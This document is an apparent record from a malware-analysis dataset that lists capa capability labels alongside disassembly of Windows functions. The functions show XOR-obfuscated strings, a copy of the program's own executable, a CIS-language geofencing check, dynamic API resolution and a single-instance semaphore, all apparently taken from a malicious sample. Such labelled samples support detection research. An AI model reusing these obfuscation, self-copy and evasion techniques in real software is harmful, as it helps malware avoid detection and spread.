joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ddd8
Capabilities:
Encode data using xor

Disassembly:
push 0xc4
mov eax, 0x436198
call fcn.0041c69a
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xd0]
call fcn.00407156
mov ebx, eax
and dword [ebp - 4], 0
lea edi, [ebp - 0x70]
push 0xb
pop ecx
mov esi, str.GVCYJQH
rep movsd dword es:[edi], dword [esi]
push 0x36
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
mov ecx, edi
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x70], dl
inc ecx
cmp ecx, 0x2f
jl 0x40de12
push ebx
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0xb8]
call fcn.00408cfb
pop ecx
mov esi, eax
mov byte [ebp - 4], 1
cmp byte [str._GVDR_W], 0
mov ecx, dword [0x44003c]
mov edx, dword [0x440040]
push 0x36
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
pop ebx
je 0x40de6e
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 8
jl 0x40de5b
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.0040464d
push eax
lea ecx, [ebp - 0xa0]
call fcn.00404084
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 2
call fcn.00404245
push eax
lea ecx, [ebp - 0x88]
call fcn.00404084
mov byte [ebp - 4], 3
mov ecx, edi
mov eax, dword [0x43fee0]
mov dword [ebp - 0x30], eax
mov al, byte [0x43fee4]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40deb9
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x88]
call fcn.0040464d
push eax
lea ecx, [ebp - 0x28]
call fcn.00404084
lea ecx, [ebp - 0x88]
call fcn.00402636
lea ecx, [ebp - 0xa0]
call fcn.00402636
lea ecx, [ebp - 0xb8]
call fcn.00402636
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 8
call fcn.00402636
lea eax, [ebp - 0x28]
mov edx, 0x43fd9c
push eax
lea ecx, [ebp - 0x5c]
call fcn.00404e71
pop ecx
mov esi, eax
mov byte [ebp - 4], 9
cmp dword [esi + 0x14], 0xf
jbe 0x40df34
mov esi, dword [esi]
cmp byte [0x4402ef], 0
mov eax, dword [0x4402e8]
mov ecx, dword [str._A__pZAY8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
je 0x40df63
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 0x38], dl
inc ecx
cmp ecx, 8
jl 0x40df50
mov eax, dword [0x440140]
mov ecx, edi
mov dword [ebp - 0x30], eax
mov al, byte [0x440144]
mov byte [ebp - 0x2c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 0x30], dl
inc ecx
cmp ecx, 5
jl 0x40df75
push edi
push edi
push esi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
call dword [0x448868]
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00402636
test esi, esi
lea ecx, [ebp - 0x28]
setne bl
call fcn.00402636
mov al, bl
call fcn.0041c649
ret
Function at 0x40dfb9
Capabilities:
Encode data using xor

Disassembly:
push 0x1c
mov eax, 0x4361d7
call fcn.0041c667
and dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040ddd8
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.004040f6
mov byte [ebp - 4], 1
lea edi, [ebp - 0x28]
cmp byte [0x44021d], 0
mov esi, str.cXSWNIexXXZ._17E
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x40e015
xor ecx, ecx
xor edx, edx
mov eax, ecx
push 0x36
pop esi
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x28], dl
inc ecx
cmp ecx, 0x12
jl 0x40dfff
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.004040bd
mov byte [ebp - 4], 0
call fcn.0040dbbe
add esp, 0x30
lea ecx, [ebp + 8]
call fcn.00402636
xor al, al
call fcn.0041c635
ret

Function at 0x40e03f
Capabilities:
Copy file
Encode data using xor

Disassembly:
push 0x24c
mov eax, 0x43620f
call fcn.0041c69a
push 0x104
lea eax, [ebp - 0x224]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 5
pop edx
lea ecx, [ebp - 0x240]
call fcn.00405b8b
lea eax, [ebp - 0x224]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x258]
call fcn.004040bd
push ebx
lea ecx, [ebp - 0x240]
push ecx
mov ecx, eax
call fcn.0040401b
lea ecx, [ebp - 0x258]
mov esi, eax
call fcn.00402636
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x240]
call fcn.00402636
cmp esi, 0xffffffff
jne 0x40e1a4
push 5
pop edx
lea ecx, [ebp - 0x258]
call fcn.00405b8b
xor eax, eax
lea ecx, [ebp - 0x258]
inc eax
push eax
push 0x43f144
mov dword [ebp - 4], eax
call fcn.004042c1
push eax
lea ecx, [ebp - 0x240]
call fcn.00404084
cmp dword [ebp - 0x22c], 0xf
lea ecx, [ebp - 0x240]
lea edx, [ebp - 0x11c]
cmova ecx, dword [ebp - 0x240]
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40e107
lea ecx, [ebp - 0x240]
call fcn.00402636
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x258]
call fcn.00402636
cmp byte [0x44013f], 0
lea edi, [ebp - 0x234]
mov esi, str.ZZBRHX
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40e15d
mov ecx, ebx
xor edx, edx
mov eax, ecx
push 0x36
pop esi
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x234], dl
inc ecx
cmp ecx, 0xc
jl 0x40e144
lea edx, [ebp - 0x234]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40e165
lea edi, [ebp - 0x11c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40e175
mov ecx, edx
lea eax, [ebp - 0x11c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebx
mov ecx, edx
push eax
and ecx, 3
lea eax, [ebp - 0x224]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40e1aa
call fcn.0041c649
ret
sub esp, 0x18
lea eax, [ebp - 0x11c]
mov ecx, esp
push eax
call fcn.004040bd
call fcn.0040dfb9
add esp, 0x18
push ebx
call fcn.0041fb0f
int3
Function at 0x40e2f3
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x43628a
call fcn.0041c69a
mov esi, ecx
push 4
xor ebx, ebx
call fcn.0041be08
mov ecx, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov dword [ecx], eax
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push ecx
push 0x40e5c7
push ebx
push ebx
call fcn.00423041
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x40e33c
mov eax, esi
call fcn.0041c649
ret 4
push 6
mov dword [edi], ebx
call fcn.0041b932
int3

Function at 0x40eedb
Capabilities:
Identify system language via api

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov edx, 0x419
mov ecx, eax
cmp ax, dx
je 0x40ef32
add edx, 0x12
cmp ax, dx
je 0x40ef32
mov edx, 0x423
cmp ax, dx
je 0x40ef32
add edx, 0x14
cmp ax, dx
je 0x40ef32
mov edx, 0x43f
cmp ax, dx
je 0x40ef32
add edx, 0xffffffe9
cmp ax, dx
je 0x40ef32
mov edx, 0x843
cmp ax, dx
je 0x40ef32
mov eax, 0x422
cmp cx, ax
setne al
ret
xor al, al
ret

Function at 0x40ef35
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x447040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x440394
lea edi, [ebp - 0x1c0]
mov ebx, ecx
xor ecx, ecx
push 0x32
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x1c0], dl
inc ecx
cmp ecx, 0xb
jl 0x40ef6e
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1b4], eax
test eax, eax
je 0x40eff5
cmp byte [0x4403b3], 0
lea edi, [ebp - 0x1d8]
push 5
pop ecx
mov esi, str.q_CZPIKPG_7__6_aGVFEDKJI_b_
rep movsd dword es:[edi], dword [esi]
je 0x40efd5
push 0x32
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x1d8], dl
inc ecx
cmp ecx, 0x14
jl 0x40efb9
mov eax, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40f012
push dword [ebp - 0x1b4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x43f133
mov ecx, ebx
call fcn.004040bd
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041bdfa
leave
ret
push 0x1a3
lea eax, [ebp - 0x1ab]
mov dword [ebp - 0x1b0], 0x1a8
push 0
push eax
mov byte [ebp - 0x1ac], 0
call fcn.0041dab0
add esp, 0xc
lea eax, [ebp - 0x1b0]
push 1
push eax
push 1
push 0
call esi
push dword [ebp - 0x1b4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test esi, esi
je 0x40eff5
lea eax, [ebp - 0x18c]
push eax
jmp 0x40effa
Function at 0x40f11b
Capabilities:
Encode data using xor
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor ecx, ecx
push ebx
push esi
push edi
mov esi, 0x4403b4
lea edi, [ebp - 0x14]
push 0x32
pop ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 9
jl 0x40f134
lea eax, [ebp - 0x14]
push eax
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
test esi, esi
je 0x40f16e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40f297
lea ecx, [ebp - 0x20]
call fcn.0040ef35
push eax
mov ecx, 0x448f58
call fcn.0040404f
lea ecx, [ebp - 0x20]
call fcn.00402636
cmp dword [0x448f68], 1
jb 0x40f29e
mov esi, str.fqfs
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
xor edx, edx
mov eax, esi
div ebx
add dl, 0x34
xor byte [ebp + esi - 0x1c], dl
inc esi
cmp esi, 0x11
jl 0x40f1a5
lea edx, [ebp - 0x1c]
mov ecx, 0x448f58
call fcn.00408dd3
test al, al
jne 0x40f29e
mov ax, word [0x43f6d0]
mov word [ebp - 4], ax
test ah, ah
je 0x40f1f0
xor ecx, ecx
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x34
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 2
jl 0x40f1dd
sub esp, 0x18
lea esi, [ebp - 4]
mov ecx, esp
push 0x448e18
call fcn.004040f6
push 0x7d
pop edx
lea ecx, [ebp - 0x20]
call fcn.0040798d
add esp, 0x18
mov edx, esi
mov ecx, eax
call fcn.00408dd3
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.00402636
test bl, bl
je 0x40f22c
call fcn.0040f08e
mov ax, word [0x43f6d0]
mov word [ebp - 4], ax
test ah, ah
je 0x40f252
push 0x32
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 2
jl 0x40f23f
sub esp, 0x18
lea esi, [ebp - 4]
mov ecx, esp
push 0x448ec0
call fcn.004040f6
push 0x7d
pop edx
lea ecx, [ebp - 0x20]
call fcn.0040798d
add esp, 0x18
mov edx, esi
mov ecx, eax
call fcn.00408dd3
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.00402636
test bl, bl
je 0x40f292
call fcn.0040eedb
test al, al
je 0x40f29e
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call fcn.0041fb0f
int3
Function at 0x40fadd
Capabilities:
Encode data using xor

Disassembly:
push 0x9c
mov eax, 0x436474
call fcn.0041c706
mov ebx, ecx
xor edi, edi
mov dword [ebp - 4], edi
call fcn.0040f704
test al, al
je 0x40fb4b
push edi
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], edi
push eax
xor esi, esi
mov dword [ebp - 0x24], edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], edi
inc esi
push eax
mov dword [ebp - 0x2c], esi
call dword [0x448890]
test eax, eax
jne 0x40fb4b
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], edi
push ecx
push esi
mov esi, dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
push eax
call esi
test eax, eax
je 0x40fb51
push dword [ebp - 0x1c]
call dword [0x448894]
call fcn.0041c658
ret
mov edx, dword [ebx + 4]
mov eax, dword [ebp - 0x88]
sub edx, dword [ebx]
push edi
push edx
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
test eax, eax
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
jns 0x40fb78
push eax
call dword [ecx + 8]
jmp 0x40fb42
push edi
push edi
push edi
push edi
push eax
call dword [ecx + 0x14]
test eax, eax
jns 0x40fb8e
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
jmp 0x40fb72
lea eax, [ebp - 0x90]
mov dword [ebp - 0x90], edi
push eax
push dword [ebp - 0x88]
call dword [0x44888c]
test eax, eax
jne 0x40fb84
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], edi
push eax
push 1
push edi
call esi
test eax, eax
jne 0x40fc71
push 5
pop ecx
mov esi, str._XWP_
lea edi, [ebp - 0xa8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
mov ecx, edi
xor edx, edx
mov eax, ecx
push 0x33
pop esi
div esi
add edx, 0x34
xor word [ebp + ecx*2 - 0xa8], dx
inc ecx
cmp ecx, 0xb
jl 0x40fbdb
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0xa8]
call fcn.0040f9f8
push edi
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x8c]
push dword [ebp - 0x90]
call dword [0x448888]
test eax, eax
jne 0x40fc65
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x84]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x40fc65
mov esi, dword [ebp - 0x7c]
mov ecx, ebx
push esi
call fcn.0040fdac
mov eax, dword [ebp - 0x8c]
push edi
push edi
push edi
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x14]
test eax, eax
js 0x40fc65
mov eax, dword [ebp - 0x8c]
push edi
push esi
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push dword [ebp - 0x90]
call dword [0x448898]
jmp 0x40fb42
Function at 0x40ff18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436514
mov eax, dword fs:[0]
push eax
mov eax, 0x2048
call fcn.00432950
mov eax, dword [0x447040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2040], edx
mov ebx, ecx
mov dword [ebp - 0x203c], ebx
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x2050]
mov esi, 0x44057c
mov dword [ebp - 0x203c], ebx
push 0x38
mov dword [ebp - 0x2044], eax
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x31
xor byte [ebp + ecx - 0x2050], dl
inc ecx
cmp ecx, 0xb
jl 0x40ff7c
lea eax, [ebp - 0x2050]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x40ffb6
push 0x43f133
mov ecx, ebx
call fcn.004040bd
jmp 0x4100b9
mov eax, dword [str.CWPB5]
xor ecx, ecx
mov dword [ebp - 0x203c], eax
mov al, byte [0x4405d0]
mov byte [ebp - 0x2038], al
xor edx, edx
mov eax, ecx
div edi
add dl, 0x31
xor byte [ebp + ecx - 0x203c], dl
inc ecx
cmp ecx, 5
jl 0x40ffce
lea eax, [ebp - 0x203c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea edi, [ebp - 0x2034]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x2024], eax
mov dword [ebp - 0x2020], 0xf
mov byte [ebp - 0x2034], al
mov edi, dword [ebp - 0x2040]
mov dword [ebp - 4], eax
push eax
jmp 0x410053
push eax
lea eax, [ebp - 0x201c]
push eax
lea ecx, [ebp - 0x2034]
call fcn.004042c1
push 0
push dword [ebp - 0x2044]
lea ecx, [ebp - 0x2034]
call fcn.0040401b
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x41006b
push 0
push 0x2004
lea eax, [ebp - 0x201c]
push eax
push edi
call esi
add esp, 0x10
test eax, eax
jg 0x410024
jmp 0x410091
cmp dword [ebp - 0x2024], ecx
jb 0x4100d5
cmp dword [ebp - 0x2020], 0xf
lea eax, [ebp - 0x2034]
mov dword [ebp - 0x2024], ecx
cmova eax, dword [ebp - 0x2034]
mov byte [eax + ecx], 0
lea eax, [ebp - 0x2034]
mov ecx, ebx
push eax
call fcn.00404084
mov eax, dword [ebp - 0x2020]
cmp eax, 0xf
jbe 0x4100b9
inc eax
push eax
push dword [ebp - 0x2034]
call fcn.004026d2
pop ecx
pop ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041bdfa
leave
ret
call fcn.0040431a
int3
Function at 0x412317
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0x14
mov eax, 0x436a01
call fcn.0041c69a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
xor ebx, ebx
lea eax, [ebp + 0xc]
push ebx
push 0x80
push 3
push ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0x20], 0xf
push 7
cmova eax, dword [ebp + 0xc]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4123d6
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x1c], eax
call fcn.004232ff
mov edi, eax
pop ecx
test edi, edi
je 0x41238a
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x412393
push edi
call fcn.004232e4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4123d6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x4123cd
mov eax, dword [ebp - 0x20]
mov dl, byte [edi + ebx]
mov ecx, dword [eax + 4]
mov byte [ebp - 0x15], dl
cmp ecx, dword [eax + 8]
je 0x4123b9
mov byte [ecx], dl
inc dword [eax + 4]
jmp 0x4123c8
lea edx, [ebp - 0x15]
push edx
push ecx
mov ecx, eax
call fcn.004093a6
mov eax, dword [ebp - 0x20]
inc ebx
cmp ebx, esi
jb 0x4123a4
push edi
call fcn.004232e4
pop ecx
mov bl, 1
lea ecx, [ebp + 0xc]
call fcn.00402636
mov al, bl
call fcn.0041c649
ret 0x1c
Function at 0x413c76
Capabilities:
Encode data using xor

Disassembly:
push 0x164
mov eax, 0x436c4c
call fcn.0041c69a
mov ebx, ecx
mov dword [ebp - 0x130], ebx
push str.Advapi32.dll
mov dword [ebp - 0x130], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x114], eax
test eax, eax
je 0x413e26
mov esi, str.fPQp_MlZPH__
lea edi, [ebp - 0x124]
push 0x34
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x124], dl
inc ecx
cmp ecx, 0xd
jl 0x413cc0
mov esi, dword [ebp - 0x114]
lea eax, [ebp - 0x124]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x130], eax
test eax, eax
je 0x413e1f
cmp byte [0x440649], 0
lea edi, [ebp - 0x13c]
mov esi, str.gASVUi_OT
mov dword [ebp - 0x114], 0x100
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x413d35
push 0x34
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x13c], dl
inc ecx
cmp ecx, 0xa
jl 0x413d1f
push 5
pop ecx
lea edi, [ebp - 0x154]
mov esi, 0x44065c
rep movsd dword es:[edi], dword [esi]
push 0x34
xor ecx, ecx
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x154], dl
inc ecx
cmp ecx, 0x15
jl 0x413d4b
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0xffff
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x154]
push eax
push 0x80000001
call dword [ebp - 0x130]
test eax, eax
jne 0x413e26
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x12c]
call fcn.004040bd
and dword [ebp - 4], 0
lea ecx, [ebp - 0x170]
push 0x43f144
call fcn.004040bd
push 0x43f60c
lea ecx, [ebp - 0x154]
mov byte [ebp - 4], 1
call fcn.004040bd
lea eax, [ebp - 0x170]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x154]
lea ecx, [ebp - 0x12c]
call fcn.00406f5f
pop ecx
lea ecx, [ebp - 0x154]
call fcn.00402636
lea ecx, [ebp - 0x170]
call fcn.00402636
lea eax, [ebp - 0x12c]
mov ecx, ebx
push eax
call fcn.00404084
lea ecx, [ebp - 0x12c]
call fcn.00402636
jmp 0x413e32
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.null
mov ecx, ebx
call fcn.004040bd
mov eax, ebx
call fcn.0041c649
ret
Function at 0x4140e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x447040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, ecx
lea edi, [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov esi, str._PDY_U_t_t
mov dword [ebp - 0x18], eax
xor ebx, ebx
push 0x35
mov dword [ebp - 0x24], eax
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 0xd
jl 0x414114
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x4141d6
mov esi, 0x4407cc
lea edi, [ebp - 0x3c]
push 0x35
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x34
xor byte [ebp + ecx - 0x3c], dl
inc ecx
cmp ecx, 0x11
jl 0x41414e
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4141b1
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push ecx
lea ecx, [ebp - 0x14]
push ecx
call eax
test eax, eax
je 0x41418c
lea eax, [ebp - 0x14]
jmp 0x4141fc
mov eax, dword [str.Z_Z_8]
mov dword [ebp - 0x20], eax
mov al, byte [0x440690]
mov byte [ebp - 0x1c], al
xor edx, edx
mov eax, ebx
div esi
add dl, 0x34
xor byte [ebp + ebx - 0x20], dl
inc ebx
cmp ebx, 5
jl 0x41419c
jmp 0x4141f9
mov eax, dword [str.Z_Z_8]
mov dword [ebp - 0x20], eax
mov al, byte [0x440690]
mov byte [ebp - 0x1c], al
xor edx, edx
mov eax, ebx
div esi
add dl, 0x34
xor byte [ebp + ebx - 0x20], dl
inc ebx
cmp ebx, 5
jl 0x4141c1
jmp 0x4141f9
mov eax, dword [str.Z_Z_8]
mov dword [ebp - 0x20], eax
mov al, byte [0x440690]
mov byte [ebp - 0x1c], al
xor edx, edx
mov eax, ebx
div esi
add dl, 0x34
xor byte [ebp + ebx - 0x20], dl
inc ebx
cmp ebx, 5
jl 0x4141e6
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
push eax
call fcn.004040bd
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0041bdfa
leave
ret